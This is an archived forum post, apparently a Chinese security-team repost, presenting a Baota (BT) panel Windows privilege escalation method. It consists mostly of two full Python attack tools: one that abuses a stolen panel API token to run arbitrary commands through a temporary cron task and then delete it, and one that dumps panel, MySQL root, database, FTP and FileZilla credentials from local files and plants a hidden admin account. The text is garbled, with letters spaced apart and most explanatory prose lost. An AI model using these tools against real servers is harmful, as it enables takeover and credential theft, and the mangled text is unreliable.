[18274] 2021-01-31_干货宝塔面板Windows提权方法

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-01-31_干货宝塔面板Windows提权方法   |   W i n d o w s H A C K   H A C K   2 0 2 1 - 0 1 - 3 1 h t t p s : / / g i t h u b . c o m / H z l l a g a / B T _ P a n e l _ P r i v i l e g e _ E s c a l a t i o n S t a r T a b l e   o f   C o n t e n t s W i n d o w s A P I 2 0 0 8 w w w 2 0 1 6 U s e r m y s q l r o o t 使     使 p o w e r s h e l l   - C o m m a n d   " g e t - a c l   C : B t S o f t p a n e l d a t a d e f a u l t . d b   |   f o r m a t - l i s t " [ A - Z a - z 0 - 9 ] { 1 2 } m d 5 ( m d 5 ( m d 5 ( p a s s w o r d )   +   ' _ b t . c n ' )   +   s a l t ) b t _ p a n e l _ s c r i p t . p y
A P I A P I t o k e n 访 访 r e d i s s y s t e m t o k e n F i l e Z i l l a ( w i n d o w s f t p F i l e Z i l l a   +   ) C A P I   T o k e n :   a p i . j s o n ( ) A P I ( ) 1 3 0 s y s t e m A P I 使 p y t h o n b t _ p a n e l _ s c r i p t . p y C : B t S o f t p a n e l c o n f i g a p i . j s o n m d 5 ( s t r i n g ) { " o p e n " :   t r u e ,   " t o k e n " :   " A P I   T o k e n " ,   " l i m i t _ a d d r " :   [ " I P " ] } m u l t i p a r t / f o r m - d a t a r e q u e s t _ t o k e n   =   m d 5 ( t i m e s t a m p   +   t o k e n ) r e q u e s t _ t i m e   =   t i m e s t a m p 使 b t _ p a n e l _ a p i . p y 使 A P I I P 1 2 7 . 0 . 0 . 1 C : / B t S o f t / c r o n / p y t h o n 3   . b t _ p a n e l _ s c r i p t . p y
a p i j s o n p y t h o n 3   . b t _ p a n e l _ a p i . p y   - g p y t h o n 3   . b t _ p a n e l _ a p i . p y   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 0 1 . 5 : 8 8 8 8 / "   - t   " 0 8 5 b d 6 4 a 6 9 8 c f 6 0 1 a e 4 7 2 4 2 5 6 5 6 b 2 3 4 6 "   - c   w h o a m i p y t h o n 3   . b t _ p a n e l _ l o g _ d e l e t e . p y
g i t h u b b t _ p a n e l _ a p i . p y i m p o r t   r e q u e s t s i m p o r t   a r g p a r s e i m p o r t   h a s h l i b i m p o r t   j s o n i m p o r t   t i m e i m p o r t   c o w s a y d e f   m d 5 ( s t r i n g ) : r e t u r n   h a s h l i b . m d 5 ( s t r i n g . e n c o d e ( ) ) . h e x d i g e s t ( ) d e f   g e t _ r a n d o m _ s t r i n g ( l e n g t h ) : f r o m   r a n d o m   i m p o r t   R a n d o m         s t r i n g s   =   ' '         c h a r s   =   ' A a B b C c D d E e F f G g H h I i J j K k L l M m N n O o P p Q q R r S s T t U u V v W w X x Y y Z z 0 1 2 3 4 5 6 7 8 9 '         c h a r _ l e n   =   l e n ( c h a r s )   -   1         r a n d o m   =   R a n d o m ( ) f o r   i   i n   r a n g e ( l e n g t h ) :                 s t r i n g s   + =   c h a r s [ r a n d o m . r a n d i n t ( 0 ,   c h a r _ l e n ) ] r e t u r n   s t r i n g s d e f   g e t _ i p ( ) : r e t u r n   r e q u e s t s . g e t ( u r l = ' h t t p s : / / i f c o n f i g . m e / i p ' ) . t e x t d e f   g e n e r a t e _ e x a m p l e _ c o n f i g ( ) :         t o k e n   =   m d 5 ( g e t _ r a n d o m _ s t r i n g ( 1 0 ) )         p a y l o a d   =   { ' o p e n ' :   T r u e , ' t o k e n ' :   t o k e n , ' l i m i t _ a d d r ' :   [ g e t _ i p ( ) ]         }         p r i n t ( j s o n . d u m p s ( p a y l o a d ) )         p r i n t ( ' C : B t S o f t p a n e l c o n f i g a p i . j s o n ' )         p r i n t ( f " U s a g e :   p y t h o n   b t _ p a n e l _ a p i . p y   - u   [ U R L ]   - t   { t o k e n }   - c   w h o a m i " ) d e f   e x p l o i t ( u r l ,   t o k e n ,   c m d ) : #   a p i   s k         t i m e s t a m p   =   i n t ( t i m e . t i m e ( ) )         t o k e n   =   m d 5 ( s t r ( t i m e s t a m p )   +   t o k e n )
        a p i _ s k   =   { ' r e q u e s t _ t o k e n ' :   ( N o n e ,   f ' { t o k e n } ' ) , ' r e q u e s t _ t i m e ' :   ( N o n e ,   f ' { t i m e s t a m p } ' ) ,         }         c r o n t a b _ n a m e   =   g e t _ r a n d o m _ s t r i n g ( 1 0 ) #   A d d   a   c r o n t a b         p a y l o a d   =   { ' s T y p e ' :   ( N o n e ,   ' t o S h e l l ' ) , ' n a m e ' :   ( N o n e ,   f ' { c r o n t a b _ n a m e } ' ) , ' t y p e ' :   ( N o n e ,   ' d a y ' ) , ' h o u r ' :   ( N o n e ,   ' 1 ' ) , ' m i n u t e ' :   ( N o n e ,   ' 3 0 ' ) , ' s B o d y ' :   ( N o n e ,   f ' { c m d } ' ) , ' s N a m e ' :   ( N o n e ,   ' ' ) , ' s a v e ' :   ( N o n e ,   ' ' ) , ' b a c k u p T o ' :   ( N o n e ,   ' l o c a l h o s t ' ) ,         }         p a y l o a d . u p d a t e ( a p i _ s k )         r e q u e s t s . p o s t ( u r l = f ' { u r l } / c r o n t a b ? a c t i o n = A d d C r o n t a b ' ,   f i l e s = p a y l o a d ) #   G e t   c r o n t a b   l i s t         p a y l o a d   =   { ' p a g e ' :   ( N o n e ,   ' 1 ' ) , ' s e a r c h ' :   ( N o n e ,   ' ' ) ,         }         p a y l o a d . u p d a t e ( a p i _ s k )         c r o n t a b   =   j s o n . l o a d s ( r e q u e s t s . p o s t ( u r l = f ' { u r l } / c r o n t a b ? a c t i o n = G e t C r o n t a b ' ,   f i l e s = p a y l o a d ) . t e x t ) #   S t a r t   c r o n t a b         p a y l o a d   =   { #   ' i d ' :   ( N o n e ,   f " { c r o n t a b [ 0 ] [ ' i d ' ] } " ) ,         }         p a y l o a d . u p d a t e ( a p i _ s k )         r e q u e s t s . p o s t ( u r l = f ' { u r l } / c r o n t a b ? a c t i o n = S t a r t T a s k ' ,   f i l e s = p a y l o a d ) #   W a i t i n g   f o r   e x e c u t i o n         t i m e . s l e e p ( 3 ) #   R e a d   t h e   c r o n t a b   l o g         l o g   =   j s o n . l o a d s ( r e q u e s t s . p o s t ( u r l = f ' { u r l } / c r o n t a b ? a c t i o n = G e t L o g s ' ,   f i l e s = p a y l o a d ) . t e x t )         p r i n t ( l o g [ ' m s g ' ] ) #   D e l e t e   c r o n t a b         r e q u e s t s . p o s t ( u r l = f ' { u r l } / c r o n t a b ? a c t i o n = D e l C r o n t a b ' ,   f i l e s = p a y l o a d )
b t _ p a n e l _ s c r i p t . p y i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         c o w s a y . c o w ( ' B a o T a   P a n e l   P r i v i l e g e   e s c a l a t i o n   t o o l n A u t h o r :   h t t p s : / / g i t h u b . c o m / H z l l a g a ' )         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( )         p a r s e r . a d d _ a r g u m e n t ( " - g " ,   " - - g e n e r a t e " ,   a c t i o n = " s t o r e _ t r u e " ,   h e l p = ' a p i . ' )         p a r s e r . a d d _ a r g u m e n t ( " - u " ,   " - - u r l " ,   h e l p = ' . ' )         p a r s e r . a d d _ a r g u m e n t ( " - t " ,   " - - t o k e n " ,   h e l p = ' A P I   t o k e n . ' )         p a r s e r . a d d _ a r g u m e n t ( " - c " ,   " - - c o m m a n d " ,   h e l p = ' . ' )         a r g s   =   p a r s e r . p a r s e _ a r g s ( ) i f   a r g s . g e n e r a t e :                 g e n e r a t e _ e x a m p l e _ c o n f i g ( ) e l s e : i f   ( a r g s . u r l   i s   n o t   N o n e )   &   ( a r g s . t o k e n   i s   n o t   N o n e )   &   ( a r g s . c o m m a n d   i s   n o t   N o n e ) :                         e x p l o i t ( u r l = a r g s . u r l ,   t o k e n = a r g s . t o k e n ,   c m d = a r g s . c o m m a n d ) e l s e :                         p r i n t ( ' ' ) #   - * -   c o d i n g : u t f - 8   - * - i m p o r t   s q l i t e 3 c l a s s   B T : d e f   _ _ i n i t _ _ ( s e l f ) :                 s e l f . c o n n   =   s q l i t e 3 . c o n n e c t ( ' C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b ' )                 s e l f . c   =   s e l f . c o n n . c u r s o r ( )         @ s t a t i c m e t h o d d e f   r e a d _ f i l e ( p a t h ) : w i t h   o p e n ( p a t h ,   ' r ' )   a s   f i l e : r e t u r n   f i l e . r e a d ( )         @ s t a t i c m e t h o d d e f   g e t _ r a n d o m _ s t r i n g ( l e n g t h ) : f r o m   r a n d o m   i m p o r t   R a n d o m                 s t r i n g s   =   ' '                 c h a r s   =   ' A a B b C c D d E e F f G g H h I i J j K k L l M m N n O o P p Q q R r S s T t U u V v W w X x Y y Z z 0 1 2 3 4 5 6 7 8 9 '                 c h a r _ l e n   =   l e n ( c h a r s )   -   1                 r a n d o m   =   R a n d o m ( ) f o r   i   i n   r a n g e ( l e n g t h ) :                         s t r i n g s   + =   c h a r s [ r a n d o m . r a n d i n t ( 0 ,   c h a r _ l e n ) ] r e t u r n   s t r i n g s         @ s t a t i c m e t h o d d e f   m d 5 ( s t r i n g ) : i m p o r t   h a s h l i b r e t u r n   h a s h l i b . m d 5 ( s t r i n g . e n c o d e ( ) ) . h e x d i g e s t ( ) d e f   h a s h _ p a s s w o r d ( s e l f ,   p a s s w o r d ,   s a l t ) : r e t u r n   s e l f . m d 5 ( s e l f . m d 5 ( s e l f . m d 5 ( p a s s w o r d )   +   ' _ b t . c n ' )   +   s a l t ) d e f   g e t _ p a n e l _ p a t h ( s e l f ) : r e t u r n   s e l f . r e a d _ f i l e ( ' C : / B t S o f t / p a n e l / d a t a / a d m i n _ p a t h . p l ' ) d e f   g e t _ d e f a u l t _ u s e r n a m e ( s e l f ) :                 c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   u s e r n a m e   f r o m   u s e r s   w h e r e   i d = 1 ' )
                c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   u s e r n a m e   f r o m   u s e r s   w h e r e   i d = 1 ' ) r e t u r n   c u r s o r . f e t c h o n e ( ) [ 0 ] d e f   g e t _ d e f a u l t _ p a s s w o r d ( s e l f ) : r e t u r n   s e l f . r e a d _ f i l e ( ' C : / B t S o f t / p a n e l / d a t a / d e f a u l t . p l ' ) d e f   g e t _ a l l _ u s e r ( s e l f ) :                 c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   u s e r n a m e ,   p a s s w o r d ,   s a l t   f r o m   u s e r s ' ) r e t u r n   c u r s o r . f e t c h a l l ( ) d e f   g e t _ a p i _ i n f o r m a t i o n ( s e l f ) : i m p o r t   j s o n                 a p i _ d a t a   =   j s o n . l o a d s ( s e l f . r e a d _ f i l e ( ' C : / B t S o f t / p a n e l / c o n f i g / a p i . j s o n ' ) ) i f   a p i _ d a t a [ ' o p e n ' ] :                         t o k e n   =   a p i _ d a t a [ ' t o k e n ' ]                         l i m i t _ i p   =   a p i _ d a t a [ ' l i m i t _ a d d r ' ] r e t u r n   f ' T o k e n { t o k e n } ,   I P { l i m i t _ i p } ' e l s e : r e t u r n   ' a p i ' d e f   g e t _ m y s q l _ r o o t _ p a s s w o r d ( s e l f ) :                 c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   m y s q l _ r o o t   f r o m   c o n f i g ' ) r e t u r n   c u r s o r . f e t c h o n e ( ) [ 0 ] d e f   i n s e r t _ p a n e l _ u s e r ( s e l f ,   u s e r n a m e ,   p a s s w o r d ,   s a l t ) :                 p a s s w o r d   =   s e l f . h a s h _ p a s s w o r d ( p a s s w o r d ,   s a l t ) t r y :                         s q l   =   f " I N S E R T   I N T O   u s e r s   ( u s e r n a m e , p a s s w o r d , s a l t , e m a i l )   V A L U E S   ( ' { u s e r n a m e } ' ,   ' { p a s s w o r d } ' ,   ' { s a l t } ' ,   ' a d m i n @ q q . c o m ' ) "                         s e l f . c . e x e c u t e ( s q l )                         s e l f . c o n n . c o m m i t ( ) r e t u r n   ' ' e x c e p t   s q l i t e 3 . O p e r a t i o n a l E r r o r : r e t u r n   ' ' d e f   g e t _ d a t a b a s e _ u s e r s ( s e l f ) :                 c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   n a m e ,   u s e r n a m e ,   p a s s w o r d ,   t y p e   f r o m   d a t a b a s e s ' ) r e t u r n   c u r s o r . f e t c h a l l ( ) d e f   g e t _ f t p _ u s e r s ( s e l f ) :                 c u r s o r   =   s e l f . c . e x e c u t e ( ' s e l e c t   n a m e ,   p a s s w o r d   f r o m   f t p s ' ) r e t u r n   c u r s o r . f e t c h a l l ( ) d e f   g e t _ f i l e z i l l a _ i n t e r f a c e ( s e l f ) : f r o m   x m l . e t r e e . E l e m e n t T r e e   i m p o r t   f r o m s t r i n g                 f t p _ x m l   =   ' ' t r y :                         f t p _ x m l   =   s e l f . r e a d _ f i l e ( ' C : / B t S o f t / f t p S e r v e r / F i l e Z i l l a   S e r v e r   I n t e r f a c e . x m l ' )                         r o o t   =   f r o m s t r i n g ( f t p _ x m l )                         s e r v e r   =   r o o t . f i n d a l l ( ' . / S e t t i n g s / I t e m [ @ n a m e = " L a s t   S e r v e r   A d d r e s s " ] ' ) [ 0 ] . t e x t                         p o r t   =   r o o t . f i n d a l l ( ' . / S e t t i n g s / I t e m [ @ n a m e = " L a s t   S e r v e r   P o r t " ] ' ) [ 0 ] . t e x t                         p a s s w o r d   =   r o o t . f i n d a l l ( ' . / S e t t i n g s / I t e m [ @ n a m e = " L a s t   S e r v e r   P a s s w o r d " ] ' ) [ 0 ] . t e x t r e t u r n   f ' n { s e r v e r } : { p o r t }   { p a s s w o r d } ' e x c e p t   F i l e N o t F o u n d E r r o r : r e t u r n   ' F i l e z i l l a ' d e f   b a n n e r ( ) :         p r i n t ( ' ' '     _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ /   B a o T a   P a n e l   P r i v i l e g e   e s c a l a t i o n   t o o l     A u t h o r :   h t t p s : / / g i t h u b . c o m / H z l l a g a         /     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                         ^ _ _ ^  
G i t h u b : H A C K                         ^ _ _ ^                           ( o o ) _ _ _ _ _ _ _                           ( _ _ )               ) /                                   | | - - - - w   |                                   | |           | |         ' ' ' ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         b a n n e r ( )         b t   =   B T ( )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( f ' { b t . g e t _ p a n e l _ p a t h ( ) } ' )         p r i n t ( f ' { b t . g e t _ d e f a u l t _ u s e r n a m e ( ) } ' )         p r i n t ( f ' { b t . g e t _ d e f a u l t _ p a s s w o r d ( ) } ' )         p r i n t ( )         s a l t   =   b t . g e t _ r a n d o m _ s t r i n g ( 1 2 )         u s e r n a m e   =   b t . g e t _ r a n d o m _ s t r i n g ( 6 )         p a s s w o r d   =   b t . g e t _ r a n d o m _ s t r i n g ( 1 0 )         p r i n t ( f '   : { u s e r n a m e }   { p a s s w o r d }   ' )         p r i n t ( f ' { b t . i n s e r t _ p a n e l _ u s e r ( u s e r n a m e ,   p a s s w o r d ,   s a l t ) } ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( ' ' ) f o r   u s e r   i n   b t . g e t _ a l l _ u s e r ( ) :                 p r i n t ( f ' { u s e r [ 0 ] } ,   { u s e r [ 1 ] } ,   { u s e r [ 2 ] } ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( ' A P I ' )         p r i n t ( f ' { b t . g e t _ a p i _ i n f o r m a t i o n ( ) } ' )         p r i n t ( ' I P I P ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( f ' M y S Q L   r o o t { b t . g e t _ m y s q l _ r o o t _ p a s s w o r d ( ) } ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( ' ' ) f o r   d b _ u s e r   i n   b t . g e t _ d a t a b a s e _ u s e r s ( ) :                 p r i n t ( f ' { d b _ u s e r [ 0 ] } ,   { d b _ u s e r [ 1 ] } ,   { d b _ u s e r [ 2 ] } ,   { d b _ u s e r [ 3 ] } ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( ' F T P ' ) f o r   f t p _ u s e r   i n   b t . g e t _ f t p _ u s e r s ( ) :                 p r i n t ( f ' { f t p _ u s e r [ 0 ] } ,   { f t p _ u s e r [ 1 ] } ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )         p r i n t ( ' F i l e z i l l a   I n t e r f a c e ' )         p r i n t ( f ' { b t . g e t _ f i l e z i l l a _ i n t e r f a c e ( ) } ' )         p r i n t ( ' A P I ' )         p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则